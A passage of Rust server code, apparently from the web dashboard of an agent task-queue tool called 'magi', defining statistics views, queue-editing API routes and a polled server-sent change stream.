5286                    .map(|off| i + off + 2),
5287                prior,
5288                last: i + 1 == task.runs.len(),
5289                pass,
5290                settled,
5291                pass_n: k + 1,
5292                passes_of_run: total,
5293            },
5294            task,
5295        ));
5296        if let Some(s) = &state {
5297            prior = Some((run::short_of(run_id), s.status));
5298        }
5299    }
5300    history
5301}
5302
5303/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
5304/// An earlier pass of a resumed run keeps no badge (it has no status box).
5305fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5306    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5307        return;
5308    }
5309    let (_, claimed, _) = run_row_inputs(ui);
5310    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5311    for h in history
5312        .iter_mut()
5313        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5314    {
5315        let Ok(state) = read_run(&ui.runs, &h.id) else {
5316            continue;
5317        };
5318        if state.status.done() {
5319            continue;
5320        }
5321        let live = state.liveness_with(
5322            claimed.contains(&h.id),
5323            |p| probe.borrow_mut().status(p),
5324            |p| probe.borrow_mut().started_at(p),
5325        );
5326        let waiting = !ui.questions.open_for(&h.id).is_empty();
5327        let display = run_display_status(&state, waiting, live);
5328        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5329        if matches!(word.as_str(), "stale" | "superseded")
5330            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5331        {
5332            h.badge = Some(word);
5333        }
5334    }
5335}
5336
5337async fn task_detail(
5338    State(ui): State<Arc<Ui>>,
5339    Path(id): Path<String>,
5340) -> ApiResult<Json<TaskDetailView>> {
5341    blocking(move || {
5342        let id = resolve_task(&ui.queue, &id)?;
5343        let task = ui
5344            .queue
5345            .get(&id)
5346            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5347        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
5348        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5349        mark_badges(&ui, &task, &mut history);
5350        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5351        let max_attempts = daemon::Opts::default().max_attempts;
5352        let origin = task.followup.as_ref().map(|fu| {
5353            followup_origin(
5354                fu,
5355                |tid| ui.queue.get(tid).ok(),
5356                |rid| read_run(&ui.runs, rid).ok(),
5357            )
5358        });
5359        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5360        Ok(Json(TaskDetailView {
5361            max_attempts,
5362            flow,
5363            followup_origin: origin,
5364            passes_total: history.len(),
5365            runs_distinct: distinct_runs(&task.runs),
5366            history,
5367            runs_unreadable,
5368            attempts_note: ATTEMPTS_NOTE,
5369            task: TaskView::with_inventory(task, &inv),
5370        }))
5371    })
5372    .await
5373}
5374
5375/// A rate together with its denominator, so the client can tell "computed as
5376/// 0%" apart from "no data to compute it from" — both would otherwise
5377/// serialize as `0.0`. `None` means the denominator was zero.
5378#[derive(Debug, Serialize)]
5379struct RateView {
5380    pct: f64,
5381    denominator: usize,
5382}
5383
5384impl RateView {
5385    fn of(numerator: usize, denominator: usize) -> Option<Self> {
5386        (denominator > 0).then(|| Self {
5387            pct: 100.0 * numerator as f64 / denominator as f64,
5388            denominator,
5389        })
5390    }
5391}
5392
5393/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5394/// rates, each paired with its own denominator via [`RateView`] rather than
5395/// exposing `Stats`' own percentage methods directly — see this module's
5396/// doc for why `Stats` itself is never serialized.
5397#[derive(Debug, Serialize)]
5398struct StatsTotalsView {
5399    runs: usize,
5400    merged: usize,
5401    ready: usize,
5402    blocked: usize,
5403    failed: usize,
5404    stalled: usize,
5405    verified_noop: usize,
5406    superseded: usize,
5407    in_progress: usize,
5408    completion_rate: Option<RateView>,
5409    tallied: usize,
5410    split: usize,
5411    split_rate: Option<RateView>,
5412    deliberated: usize,
5413    minds_changed: usize,
5414    converged: usize,
5415    review_rounds: usize,
5416}
5417
5418impl From<&stats::Totals> for StatsTotalsView {
5419    fn from(t: &stats::Totals) -> Self {
5420        Self {
5421            runs: t.runs,
5422            merged: t.merged,
5423            ready: t.ready,
5424            blocked: t.blocked,
5425            failed: t.failed,
5426            stalled: t.stalled,
5427            verified_noop: t.verified_noop,
5428            superseded: t.superseded,
5429            in_progress: t.in_progress,
5430            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5431            tallied: t.tallied,
5432            split: t.split,
5433            split_rate: RateView::of(t.split, t.tallied),
5434            deliberated: t.deliberated,
5435            minds_changed: t.minds_changed,
5436            converged: t.converged,
5437            review_rounds: t.review_rounds,
5438        }
5439    }
5440}
5441
5442/// [`crate::stats::AgentStats`] for the wire.
5443#[derive(Debug, Serialize)]
5444struct AgentStatsView {
5445    agent: String,
5446    entered: usize,
5447    wins: usize,
5448    empty: usize,
5449    win_rate: Option<RateView>,
5450    competitive_entered: usize,
5451    competitive_wins: usize,
5452    competitive_win_rate: Option<RateView>,
5453    solo_entered: usize,
5454    solo_adopted: usize,
5455    solo_adoption_rate: Option<RateView>,
5456}
5457
5458impl From<&stats::AgentStats> for AgentStatsView {
5459    fn from(a: &stats::AgentStats) -> Self {
5460        Self {
5461            agent: a.agent.clone(),
5462            entered: a.entered,
5463            wins: a.wins,
5464            empty: a.empty,
5465            win_rate: RateView::of(a.wins, a.entered),
5466            competitive_entered: a.competitive_entered,
5467            competitive_wins: a.competitive_wins,
5468            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5469            solo_entered: a.solo_entered,
5470            solo_adopted: a.solo_adopted,
5471            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5472        }
5473    }
5474}
5475
5476/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5477/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5478/// value, `None` when `rounds` is zero.
5479#[derive(Debug, Serialize)]
5480struct ReviewerStatsView {
5481    agent: String,
5482    rounds: usize,
5483    seated: usize,
5484    submitted: usize,
5485    adopted: usize,
5486    unique: usize,
5487    timeouts: usize,
5488    adopted_per_round: Option<f64>,
5489    precision: Option<RateView>,
5490    unique_rate: Option<RateView>,
5491    timeout_rate: Option<RateView>,
5492}
5493
5494impl From<&stats::ReviewerStats> for ReviewerStatsView {
5495    fn from(r: &stats::ReviewerStats) -> Self {
5496        Self {
5497            agent: r.agent.clone(),
5498            rounds: r.rounds,
5499            seated: r.seated,
5500            submitted: r.submitted,
5501            adopted: r.adopted,
5502            unique: r.unique,
5503            timeouts: r.timeouts,
5504            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5505            precision: RateView::of(r.adopted, r.submitted),
5506            unique_rate: RateView::of(r.unique, r.submitted),
5507            timeout_rate: RateView::of(r.timeouts, r.seated),
5508        }
5509    }
5510}
5511
5512/// [`crate::stats::AdvisorStats`] for the wire.
5513///
5514/// `reflection_rate` is approximate by construction — see
5515/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5516/// that caveat is static text in `index.html`, not a field here.
5517#[derive(Debug, Serialize)]
5518struct AdvisorStatsView {
5519    agent: String,
5520    seated: usize,
5521    proposed: usize,
5522    absent: usize,
5523    faint: usize,
5524    strong: usize,
5525    reflection_rate: Option<RateView>,
5526}
5527
5528impl From<&stats::AdvisorStats> for AdvisorStatsView {
5529    fn from(a: &stats::AdvisorStats) -> Self {
5530        Self {
5531            agent: a.agent.clone(),
5532            seated: a.seated,
5533            proposed: a.proposed,
5534            absent: a.absent,
5535            faint: a.faint,
5536            strong: a.strong,
5537            reflection_rate: RateView::of(a.strong, a.proposed),
5538        }
5539    }
5540}
5541
5542/// [`crate::stats::E2eStats`] for the wire.
5543#[derive(Debug, Serialize)]
5544struct E2eStatsView {
5545    rounds: usize,
5546    failures: usize,
5547    sole_detections: usize,
5548    deferred: usize,
5549    sole_rate: Option<RateView>,
5550}
5551
5552impl From<&stats::E2eStats> for E2eStatsView {
5553    fn from(e: &stats::E2eStats) -> Self {
5554        Self {
5555            rounds: e.rounds,
5556            failures: e.failures,
5557            sole_detections: e.sole_detections,
5558            deferred: e.deferred,
5559            sole_rate: RateView::of(e.sole_detections, e.failures),
5560        }
5561    }
5562}
5563
5564/// [`crate::stats::ReleaseBumpStats`] for the wire.
5565///
5566/// `clean` is sent as a raw count, computed the same way
5567/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5568/// needs_attention`) — never derived client-side from `automerge_enabled`,
5569/// which would misclassify a `merged_directly` bump (automerge rejected, but
5570/// magi merged it directly, so no human involvement) as needing attention.
5571#[derive(Debug, Serialize)]
5572struct ReleaseBumpStatsView {
5573    merged: usize,
5574    recorded: usize,
5575    pr_opened: usize,
5576    automerge_enabled: usize,
5577    merged_directly: usize,
5578    needs_attention: usize,
5579    clean: usize,
5580    coverage_rate: Option<RateView>,
5581    automerge_rate: Option<RateView>,
5582    attention_rate: Option<RateView>,
5583}
5584
5585impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5586    fn from(b: &stats::ReleaseBumpStats) -> Self {
5587        Self {
5588            merged: b.merged,
5589            recorded: b.recorded,
5590            pr_opened: b.pr_opened,
5591            automerge_enabled: b.automerge_enabled,
5592            merged_directly: b.merged_directly,
5593            needs_attention: b.needs_attention,
5594            clean: b.clean(),
5595            coverage_rate: RateView::of(b.recorded, b.merged),
5596            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5597            attention_rate: RateView::of(b.needs_attention, b.recorded),
5598        }
5599    }
5600}
5601
5602/// [`crate::queue::TaskCounts`] for the wire.
5603#[derive(Debug, Serialize)]
5604struct TaskCountsView {
5605    queued: usize,
5606    running: usize,
5607    done: usize,
5608    failed: usize,
5609    held: usize,
5610    blocked: usize,
5611    parked: usize,
5612}
5613
5614impl From<crate::queue::TaskCounts> for TaskCountsView {
5615    fn from(c: crate::queue::TaskCounts) -> Self {
5616        Self {
5617            queued: c.queued,
5618            running: c.running,
5619            done: c.done,
5620            failed: c.failed,
5621            held: c.held,
5622            blocked: c.blocked,
5623            parked: c.parked,
5624        }
5625    }
5626}
5627
5628/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5629/// runs recorded — the summary the UI's repository selector is built from.
5630/// Carries no nested `Stats`: picking a repo means re-fetching
5631/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5632/// aggregation rather than duplicating it.
5633#[derive(Debug, Serialize)]
5634struct RepoSummaryView {
5635    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5636    /// against, full path and all (see [`stats_get`]'s own doc for why).
5637    repo: String,
5638    /// Display name only; never used for matching.
5639    name: String,
5640    runs: usize,
5641    completion_rate: Option<RateView>,
5642}
5643
5644impl From<&stats::RepoStats> for RepoSummaryView {
5645    fn from(r: &stats::RepoStats) -> Self {
5646        let t = &r.stats.totals;
5647        Self {
5648            repo: r.repo.to_string_lossy().into_owned(),
5649            name: r.name.clone(),
5650            runs: t.runs,
5651            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5652        }
5653    }
5654}
5655
5656/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5657/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5658/// renders from them) are free to grow without that becoming a wire-contract
5659/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5660/// data" from "computed and it really is zero" the way [`RateView`] does.
5661#[derive(Debug, Serialize)]
5662struct StatsView {
5663    totals: StatsTotalsView,
5664    /// Best win rate first, as [`stats::collect`] already sorts it.
5665    agents: Vec<AgentStatsView>,
5666    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5667    reviewers: Vec<ReviewerStatsView>,
5668    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5669    advisors: Vec<AdvisorStatsView>,
5670    e2e: E2eStatsView,
5671    release_bumps: ReleaseBumpStatsView,
5672    queue: TaskCountsView,
5673    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5674    /// that field's doc. Asserted to match it in
5675    /// `stats_runs_unreadable_matches_health`.
5676    ///
5677    /// Always the whole-workload count, even when `repo` narrows every other
5678    /// field to one repository - an unreadable `run.json` carries no `repo`
5679    /// a per-repository count could attribute it to, and the queue/health
5680    /// views this mirrors never scope it either. The UI must not present it
5681    /// as if it were scoped to the selected repository.
5682    runs_unreadable: usize,
5683    /// Every repository with runs recorded, most runs first - what the UI's
5684    /// repository selector is built from. Always the full list regardless of
5685    /// `repo`, so switching repositories never needs a second request.
5686    repos: Vec<RepoSummaryView>,
5687    /// Runs per local day over the last 30 days, oldest first, always 30
5688    /// entries. Days are the *server's* local dates (the UI must not convert
5689    /// them again), cut by run creation and classified by current status.
5690    /// Narrowed by `repo` like every other run-derived field.
5691    daily: Vec<DailyStatsView>,
5692    /// The `?repo=` value this response was narrowed to, echoed back so the
5693    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5694    /// all-repositories view.
5695    repo: Option<String>,
5696    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5697    /// current config roster no longer lists them. Empty with `?all=true`, an
5698    /// unreadable config, or when nothing was retired.
5699    retired_hidden: Vec<String>,
5700}
5701
5702/// One day of [`StatsView::daily`].
5703#[derive(Debug, Serialize)]
5704struct DailyStatsView {
5705    /// `YYYY-MM-DD`, server-local.
5706    date: String,
5707    runs: usize,
5708    merged: usize,
5709    ready: usize,
5710    other: usize,
5711    /// `None` on a day with no runs, so it never reads as 0%.
5712    completion_rate: Option<RateView>,
5713}
5714
5715impl From<&stats::DayBucket> for DailyStatsView {
5716    fn from(b: &stats::DayBucket) -> Self {
5717        Self {
5718            date: b.date.to_string(),
5719            runs: b.runs,
5720            merged: b.merged,
5721            ready: b.ready,
5722            other: b.other,
5723            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5724        }
5725    }
5726}
5727
5728/// How many days [`StatsView::daily`] covers.
5729const STATS_DAILY_DAYS: usize = 30;
5730
5731/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5732/// repository. Matched by full-path equality against `RunState.repo` only
5733/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5734/// `--repo` is, because the value here always came from this same route's
5735/// own `repos` list in an earlier response, never typed by a human. A value
5736/// matching no run is a 404, not an empty aggregate: the caller asked for a
5737/// specific, named repository, and silently returning zeroes would look
5738/// exactly like a repository that has runs but none of interest.
5739#[derive(Debug, Default, Deserialize)]
5740#[serde(default)]
5741struct StatsQuery {
5742    repo: Option<String>,
5743    /// `?all=true` keeps agents that are no longer in the roster.
5744    all: bool,
5745}
5746
5747/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5748/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5749/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5750/// prints from. Reads every readable run on disk, exactly as
5751/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5752/// a separately-maintained tally could.
5753async fn stats_get(
5754    State(ui): State<Arc<Ui>>,
5755    Query(q): Query<StatsQuery>,
5756) -> ApiResult<Json<StatsView>> {
5757    blocking(move || {
5758        let states: Vec<RunState> = run_ids(&ui.runs)
5759            .into_iter()
5760            .filter_map(|id| read_run(&ui.runs, &id).ok())
5761            .collect();
5762        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5763            .iter()
5764            .map(RepoSummaryView::from)
5765            .collect();
5766        let mut scoped: Vec<&RunState> = states.iter().collect();
5767        let mut collected = match &q.repo {
5768            Some(repo) => {
5769                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5770                if filtered.is_empty() {
5771                    return Err(ApiError::not_found(format!(
5772                        "no runs recorded against repo `{repo}`"
5773                    )));
5774                }
5775                scoped = filtered.clone();
5776                stats::collect_refs(filtered)
5777            }
5778            None => stats::collect(&states),
5779        };
5780        if !q.all {
5781            let repo = q
5782                .repo
5783                .as_deref()
5784                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5785            stats::retain_current_roster(&mut collected, &repo);
5786        }
5787        let daily = stats::daily(
5788            scoped,
5789            jiff::Zoned::now().date(),
5790            &jiff::tz::TimeZone::system(),
5791            STATS_DAILY_DAYS,
5792        );
5793        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5794        Ok(Json(StatsView {
5795            totals: StatsTotalsView::from(&collected.totals),
5796            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5797            reviewers: collected
5798                .reviewers
5799                .iter()
5800                .map(ReviewerStatsView::from)
5801                .collect(),
5802            advisors: collected
5803                .advisors
5804                .iter()
5805                .map(AdvisorStatsView::from)
5806                .collect(),
5807            e2e: E2eStatsView::from(&collected.e2e),
5808            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5809            queue: TaskCountsView::from(queue_counts),
5810            runs_unreadable: runs_unreadable(&ui.runs),
5811            repos,
5812            daily: daily.iter().map(DailyStatsView::from).collect(),
5813            repo: q.repo.clone(),
5814            retired_hidden: collected.retired_hidden.clone(),
5815        }))
5816    })
5817    .await
5818}
5819
5820/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5821/// gives no reason - which must keep working, since not every hold has one.
5822#[derive(Debug, Default, Deserialize)]
5823#[serde(default, deny_unknown_fields)]
5824struct HoldBody {
5825    reason: Option<String>,
5826}
5827
5828async fn queue_hold(
5829    State(ui): State<Arc<Ui>>,
5830    Path(id): Path<String>,
5831    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5832) -> ApiResult<Json<TaskView>> {
5833    // An absent body is the ordinary case - most holds are unexplained, and
5834    // that has to stay a one-tap action rather than a form. A body that is
5835    // present and malformed is still a bad request.
5836    let body = match body {
5837        Ok(Json(body)) => body,
5838        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5839        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5840    };
5841    let reason = body.reason.filter(|r| !r.trim().is_empty());
5842    mutate(ui, id, move |t| {
5843        t.hold_manual(reason.clone());
5844        Ok(())
5845    })
5846    .await
5847}
5848
5849async fn queue_release(
5850    State(ui): State<Arc<Ui>>,
5851    Path(id): Path<String>,
5852) -> ApiResult<Json<TaskView>> {
5853    mutate(ui, id, |t| {
5854        t.release();
5855        Ok(())
5856    })
5857    .await
5858}
5859
5860#[derive(Debug, Deserialize)]
5861#[serde(deny_unknown_fields)]
5862struct ImplementersBody {
5863    implementers: u8,
5864}
5865
5866async fn queue_implementers(
5867    State(ui): State<Arc<Ui>>,
5868    Path(id): Path<String>,
5869    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5870) -> ApiResult<Json<TaskView>> {
5871    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5872    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5873}
5874
5875/// The body of `POST /api/queue/{id}/priority`.
5876#[derive(Debug, Deserialize)]
5877#[serde(deny_unknown_fields)]
5878struct PriorityBody {
5879    priority: i32,
5880}
5881
5882/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5883///
5884/// [`Task::set_priority`] is the one place the "not while running" rule is
5885/// stated; this route only carries the body to it and lets its `Err` become
5886/// the 4xx the card shows.
5887async fn queue_priority(
5888    State(ui): State<Arc<Ui>>,
5889    Path(id): Path<String>,
5890    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5891) -> ApiResult<Json<TaskView>> {
5892    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5893    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5894}
5895
5896/// The body of `POST /api/queue/{id}/edit`.
5897#[derive(Debug, Deserialize)]
5898#[serde(deny_unknown_fields)]
5899struct EditBody {
5900    title: String,
5901    instruction: String,
5902    /// Save even though the new text names a branch, commit or pull request
5903    /// that unfinished work already owns.
5904    #[serde(default)]
5905    force: bool,
5906}
5907
5908/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5909/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5910/// that refusal's message is what the sheet shows back.
5911async fn queue_edit(
5912    State(ui): State<Arc<Ui>>,
5913    Path(id): Path<String>,
5914    body: std::result::Result<Json<EditBody>, JsonRejection>,
5915) -> ApiResult<Json<TaskView>> {
5916    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5917    // The judge is an agent call, so it is awaited here, outside the claim
5918    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5919    // remembered, and the save refuses if the task moved underneath it.
5920    let mut judged: Option<(String, PathBuf)> = None;
5921    if !body.force {
5922        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5923        let (id, text) = (id.clone(), body.instruction.clone());
5924        let (seen, hits) = blocking(move || {
5925            let id = resolve_task(&queue, &id)?;
5926            let t = queue.get(&id)?;
5927            if text == t.instruction {
5928                return Ok((None, Vec::new()));
5929            }
5930            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5931            Ok((Some((t.instruction, t.repo)), hits))
5932        })
5933        .await?;
5934        if let Some((_, repo)) = &seen {
5935            let cfg = crate::config::Config::discover(repo, None)
5936                .ok()
5937                .map(|(c, _)| c);
5938            let screened =
5939                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5940                    .await
5941                    .map_err(|dup| {
5942                        ApiError::conflict(dup.render(
5943                            "Nothing was saved. If it is not a duplicate, repeat the request \
5944                             with \"force\": true.",
5945                        ))
5946                    })?;
5947            if let crate::dupes::Screened::Unjudged(why) = screened {
5948                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5949            }
5950        }
5951        judged = seen;
5952    }
5953    let force = body.force;
5954    mutate(ui, id, move |t| {
5955        if !force && body.instruction != t.instruction {
5956            match &judged {
5957                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5958                _ => {
5959                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5960                }
5961            }
5962        }
5963        t.edit(body.title.clone(), body.instruction.clone())
5964    })
5965    .await
5966}
5967
5968/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5969/// it, so the phone's other way to clear a task from the backlog does not
5970/// have to cost the run history, the attribution, and `created_at` the way
5971/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5972/// can be marked done by hand, because this is for the run the loop never
5973/// saw land - a merge done by hand, or a gate that misreported - and that can
5974/// happen from any status the task was left in.
5975async fn queue_done(
5976    State(ui): State<Arc<Ui>>,
5977    Path(id): Path<String>,
5978) -> ApiResult<Json<TaskView>> {
5979    let home = ui.home.clone();
5980    mutate(ui, id, move |t| {
5981        t.succeed();
5982        // Same as the loop's own settle path: closing a task by hand is just
5983        // as much "this task's story is over" as a daemon-driven `Merged`/
5984        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5985        // behind must stop looking like it still needs a human. `ui.home`,
5986        // not the process-global `run::home()`: they agree in a real
5987        // process, but only `ui.home` also agrees with a test fixture's own
5988        // directory.
5989        crate::daemon::supersede_prior_runs(t, &home);
5990        Ok(())
5991    })
5992    .await
5993}
5994
5995/// `DELETE /api/queue/{id}`.
5996///
5997/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5998/// names this task: a `running` status or an orphaned `.lock` left behind by a
5999/// killed daemon is a leftover, and treating either as authority made the
6000/// task undeletable from the phone for good. The associated runs, if any, are
6001/// kept: a run is self-contained history and not an appendage of the task.
6002async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6003    blocking(move || {
6004        let id = resolve_task(&ui.queue, &id)?;
6005        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6006        ui.queue
6007            .remove(&id, in_flight, &ui.questions)
6008            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6009        Ok(StatusCode::NO_CONTENT)
6010    })
6011    .await
6012}
6013
6014/// Read a task, change it, write it back, under the queue's own lock.
6015///
6016/// Taking the same claim a daemon takes is what makes hold, release,
6017/// priority, edit, and done safe to press while magi is running: without it
6018/// the daemon's next save would land on top of the operator's change and
6019/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6020/// both do, for a running task - and that refusal becomes the 4xx the card
6021/// shows, same as any other domain rule.
6022async fn mutate(
6023    ui: Arc<Ui>,
6024    id: String,
6025    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6026) -> ApiResult<Json<TaskView>> {
6027    blocking(move || {
6028        let id = resolve_task(&ui.queue, &id)?;
6029        // `claim` fails when the lock file already exists, which is the
6030        // conflict the UI must report: the daemon owns that task's file for
6031        // as long as it is running it, and our write would be lost under its
6032        // next save. The message names the lock either way.
6033        let _claim = ui.queue.claim(&id).map_err(|e| {
6034            ApiError::conflict(format!(
6035                "{e:#} - a daemon is running this task, so it cannot be \
6036                 changed from here yet"
6037            ))
6038        })?;
6039        let mut task = ui.queue.get(&id)?;
6040        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6041            Ok(dup) => ApiError::conflict(dup.render(
6042                "Nothing was saved. If it is not a duplicate, repeat the request with \
6043                 \"force\": true.",
6044            )),
6045            Err(e) => ApiError::bad_request_from(e),
6046        })?;
6047        ui.queue.put(&mut task)?;
6048        Ok(Json(TaskView::from(task)))
6049    })
6050    .await
6051}
6052
6053/// The change stream: one revision number per store, on connect and whenever
6054/// any of them moves.
6055///
6056/// The poll runs in one spawned task per client, which is affordable because
6057/// the work is a directory scan and a `stat` per file. It stops as soon as the
6058/// receiver is gone, so a phone that walks out of range costs nothing after
6059/// its next tick - there is no session and no cleanup to forget.
6060async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6061    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6062    tokio::spawn(async move {
6063        let mut ticker = tokio::time::interval(POLL);
6064        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6065        let mut stamps: Option<[Stamps; 3]> = None;
6066        loop {
6067            // The first tick completes immediately, which is what makes the
6068            // stream announce the current revisions on connect.
6069            ticker.tick().await;
6070            let state = Arc::clone(&ui);
6071            let revisions = tokio::task::spawn_blocking(move || {
6072                let stamps = [
6073                    store_stamps(state.queue.root(), false),
6074                    store_stamps(&state.runs, true),
6075                    store_stamps(state.talks.root(), false),
6076                ];
6077                let revisions = (
6078                    stamps_revision(&stamps[0]),
6079                    stamps_revision(&stamps[1]),
6080                    state.questions.revision(),
6081                    stamps_revision(&stamps[2]),
6082                    state.notices.revision(),
6083                    // The loop's counter is in-process state rather than a
6084                    // file, so nothing the three stats above look at would
6085                    // tell this phone that another one started the loop.
6086                    state.lock_loop().rev,
6087                );
6088                (revisions, stamps)
6089            })
6090            .await;
6091            let Ok((revisions, next_stamps)) = revisions else {
6092                break;
6093            };
6094            if last == Some(revisions) {
6095                continue;
6096            }
6097            let mut payload = serde_json::json!({
6098                "queue_rev": revisions.0,
6099                "runs_rev": revisions.1,
6100                "questions_rev": revisions.2,
6101                "talks_rev": revisions.3,
6102                "notifications_rev": revisions.4,
6103                "loop_rev": revisions.5,
6104            });
6105            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6106                for (index, (key, rev)) in [
6107                    ("queue_delta", base.0),
6108                    ("runs_delta", base.1),
6109                    ("talks_delta", base.3),
6110                ]
6111                .into_iter()
6112                .enumerate()
6113                {
6114                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6115                    // Empty diffs may mean a non-file dependency moved. Read whole.
6116                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6117                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
6118                    }
6119                }
6120            }
6121            last = Some(revisions);
6122            stamps = Some(next_stamps);
6123            // Giving up beats looping if the receiver is gone.
6124            let Ok(event) = Event::default().event("change").json_data(payload) else {
6125                break;
6126            };
6127            if tx.send(event).await.is_err() {
6128                break;
6129            }
6130        }
6131    });
6132    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6133        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6134}
6135
6136type Stamps = HashMap<String, (u128, u64)>;
6137
6138/// Metadata only: no task instructions or conversation bodies are read here.
6139fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6140    std::fs::read_dir(root)
6141        .into_iter()
6142        .flatten()
6143        .flatten()
6144        .filter_map(|entry| {
6145            let path = if runs {
6146                entry.path().join("run.json")
6147            } else {
6148                entry.path()
6149            };
6150            if !runs && path.extension().is_none_or(|ext| ext != "json") {
6151                return None;
6152            }
6153            let metadata = path.metadata().ok()?;
6154            let modified = metadata
6155                .modified()
6156                .ok()?
6157                .duration_since(std::time::UNIX_EPOCH)
6158                .ok()?;
6159            let id = if runs {
6160                entry.file_name().to_string_lossy().into_owned()
6161            } else {
6162                path.file_stem()?.to_string_lossy().into_owned()
6163            };
6164            Some((id, (modified.as_nanos(), metadata.len())))
6165        })
6166        .collect()
6167}
6168
6169#[derive(Debug, Serialize)]
6170struct Delta {
6171    base: u64,
6172    changed: Vec<String>,
6173    removed: Vec<String>,
6174}
6175
6176fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6177    let mut changed: Vec<_> = next
6178        .iter()
6179        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6180        .map(|(id, _)| id.clone())
6181        .collect();
6182    let mut removed: Vec<_> = previous
6183        .keys()
6184        .filter(|id| !next.contains_key(*id))
6185        .cloned()
6186        .collect();
6187    changed.sort_unstable();
6188    removed.sort_unstable();
6189    Delta {
6190        base,
6191        changed,
6192        removed,
6193    }
6194}
6195
6196/// Change detection token for recorded runs under `runs`.
6197///
6198/// Combines the id and `run.json` modification time of each run, so adding,
6199/// updating, or deleting any run — even an older one — moves the revision and
6200/// notifies connected clients via the change stream. Returns 0 when no runs
6201/// exist.
